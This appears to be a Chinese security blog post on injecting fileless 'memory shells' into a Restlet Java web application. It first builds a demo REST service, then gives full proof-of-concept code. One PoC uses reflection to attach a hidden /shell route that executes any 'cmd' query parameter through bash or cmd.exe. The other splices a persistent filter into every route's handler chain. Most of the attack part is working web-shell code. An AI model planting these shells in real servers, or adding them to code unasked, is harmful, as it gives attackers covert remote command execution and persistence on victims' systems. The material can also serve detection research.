Restlet 是一个开源的 Java 框架(https://restlet.talend.com/),专为创建 RESTful Web 服务和应用而设计。它提供了一种简单而灵活的方式来构建基于 REST 的应用程序,适合构建微服务、Web API 和移动后端。简单来说,Restlet就是一个用来搭建API服务的框架
在pom.xml中导入依赖
<dependencies>
<dependency>
<groupId>org.restlet.jse</groupId>
<artifactId>org.restlet</artifactId>
<version>2.3.12</version>
</dependency>
</dependencies>
Main.java
import org.restlet.Component;
import org.restlet.data.Protocol;
public class Main {
public static void main(String[] args) throws Exception {
// 创建一个组件
Component component = new Component();
component.getServers().add(Protocol.HTTP, 8080);
// 将应用附加到组件
component.getDefaultHost().attach(new MyApplication());
// 启动组件
component.start();
}
}
MyCustomFilter.java
import org.restlet.Request;
import org.restlet.Response;
import org.restlet.routing.Filter;
public class MyCustomFilter extends Filter {
@Override
protected int beforeHandle(Request request, Response response) {
// 在请求处理之前执行逻辑
System.out.println("Before handling request: " + request.getResourceRef());
return CONTINUE; // 继续处理请求
}
@Override
protected void afterHandle(Request request, Response response) {
// 在请求处理之后执行逻辑
System.out.println("After handling request: " + request.getResourceRef());
}
}
MyResource.java
import org.restlet.resource.Get;
import org.restlet.resource.ServerResource;
public class MyResource extends ServerResource {
@Get
public String represent() {
return "Hello, World!";
}
}
MyApplication.java
import org.restlet.Application;
import org.restlet.Restlet;
import org.restlet.routing.Router;
public class MyApplication extends Application {
@Override
public Restlet createInboundRoot() {
Router router = new Router(getContext());
// 创建过滤器实例
MyCustomFilter myFilter = new MyCustomFilter();
// 将过滤器应用到资源
myFilter.setNext(MyResource.class); // 设置过滤器的下一个处理器为资源
// 将过滤器添加到路由
router.attach("/hello", myFilter);
return router;
}
}
只需要四个文件就可以启动一个简易的Restlet 项目,运行Main.java,访问127.0.0.1:8080/hello 正常说明搭建成功
基本上,一个使用Restlet 框架构建的RESTful应用程序的大部分都需要使用两个基类:Application
和Resource
进入到MyApplication.java中可以看到具体实现过程,实际上资源是以处理器链的形式存在的,首先会经过配置的过滤器最后才到达资源处理器,这种灵活性使得用户能够根据具体的请求路径配置不同的处理逻辑
首先修改一下MyResource类,当访问到/hello接口时就会调用到MemoryApplication类来注入内存马
Router内存马就类似于Spring下的Controller类型的内存马,主要通过Router.attach()来实现添加一个URI映射到资源
关键是需要获取到环境上下文(Context)中router对象,再通过该对象来显式添加一个URI映射。通过官方文档知道使用Context ctx = Context.getCurrent()
可以获取到当前上下文实例
下断点调试程序,通过getCurrent()得到上下文实例,最终发现所需要的Router对象保存在inboundRoot属性中
利用反射获取到Router对象
Context ctx = Context.getCurrent();
Object obj = ctx.getClientDispatcher();
Field field = obj.getClass().getDeclaredField("childContext");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("child");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("inboundRoot");
field.setAccessible(true);
obj = field.get(obj);
得到Router对象之后,调用该对象里的attach()方法添加一个URI映射即可
// 完整POC
import org.restlet.Application;
import org.restlet.Context;
import org.restlet.Request;
import org.restlet.resource.Get;
import org.restlet.resource.ServerResource;
import org.restlet.routing.Router;
import java.lang.reflect.Field;
public class MemoryApplication extends Application {
static {
try {
Context ctx = Context.getCurrent();
Object obj = ctx.getClientDispatcher();
Field field = obj.getClass().getDeclaredField("childContext");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("child");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("inboundRoot");
field.setAccessible(true);
obj = field.get(obj);
Router router = (Router) obj;
router.attach("/shell", MemoryShell.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static class MemoryShell extends ServerResource{
@Get
public String represent() {
Request request = getRequest();
String param1 = (String) request.getResourceRef().getQueryAsForm().getFirstValue("cmd");
try{
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", param1}
: new String[]{"/bin/bash", "-c", param1};
String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
return output;
} catch (Exception e){
return e.toString();
}
}
}
}
接着访问/hello接口来注入内存马,可以通过查询Router对象下routes属性来查看路由列表,可以看到已经成功注入
当访问到/shell接口时就会调用到MemoryShell类下的方法执行命令
Filter的内存马构造相对来说会复杂一点,因为在Restlet 中不存在默认的全局过滤器,开发者必须显式添加自定义的过滤器
在测试环境中,设置了/hello接口的过滤器为MyCustomFilter,在该过滤器类的beforeHandle方法下断点,当请求到达资源类前会先经过该方法,通过查看调用栈可以知道前面并没有经过其他的过滤器
当请求到达服务端时,程序会匹配routes下的路由规则,获取到next属性的对象,该对象即为下一个处理器
//当前处理器链
/hello -> MyCustomFilter -> MyResource.class
所以如果需要添加Filter内存马的话,需要自行修改TemplateRoute对象的next属性,相当于在处理器链开头新插入一个元素
/hello -> MemortShellFilter -> MyCustomFilter -> MyResource.clas
通过下面的反射代码获取路由节点中next属性的内容,得到的obj就是原有的处理器链
Context ctx = Context.getCurrent();
Object obj = ctx.getClientDispatcher();
Field field = obj.getClass().getDeclaredField("childContext");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("child");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("inboundRoot");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("routes");
field.setAccessible(true);
obj = field.get(obj);
// 这里的for循环是遍历routes列表下的所有路由,即为所有路由的处理链都添加一个新的过滤器
// 也可以根据自己的需要单独为某个路由添加
for (Object route: (RouteList) obj) {
field = route.getClass().getSuperclass().getSuperclass().getDeclaredField("next");
field.setAccessible(true);
obj = field.get(route); //得到原有的处理器链
//将next的属性的值设置为我们自定义的filter处理器
field.set(route, new FilterShell());
}
下图就是修改了next属性后的,可以看到已经成功将next下一处理器设置为自定义了FilterShell对象
接着将原有的处理链obj添加到FilterShell对象的next属性中就行,下面是添加前后的next属性的对比
// 完整POC
import org.restlet.Application;
import org.restlet.Context;
import org.restlet.Request;
import org.restlet.Response;
import org.restlet.routing.Filter;
import org.restlet.util.RouteList;
import java.lang.reflect.Field;
public class MemoryFilter extends Application {
static {
try {
Context ctx = Context.getCurrent();
Object obj = ctx.getClientDispatcher();
Field field = obj.getClass().getDeclaredField("childContext");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("child");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("inboundRoot");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("routes");
field.setAccessible(true);
obj = field.get(obj);
for (Object route: (RouteList) obj) {
field = route.getClass().getSuperclass().getSuperclass().getDeclaredField("next");
field.setAccessible(true);
obj =field.get(route);
field.set(route, new FilterShell());
Object now_next = field.get(route);
field = now_next.getClass().getSuperclass().getDeclaredField("next");
field.setAccessible(true);
field.set(now_next, obj);
}
} catch (Exception e){
e.printStackTrace();
}
}
public static class FilterShell extends Filter {
@Override
protected int beforeHandle(Request request, Response response) {
// 在请求处理之前执行逻辑
System.out.println("this is FilterShell");
return CONTINUE; // 继续处理请求
}
}
}
先修改MyResource类下的内容,接着访问/hello接口注入内存马,再次访问/hello接口可以看到控制台输出this is FilterShell
说明注入成功
4 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!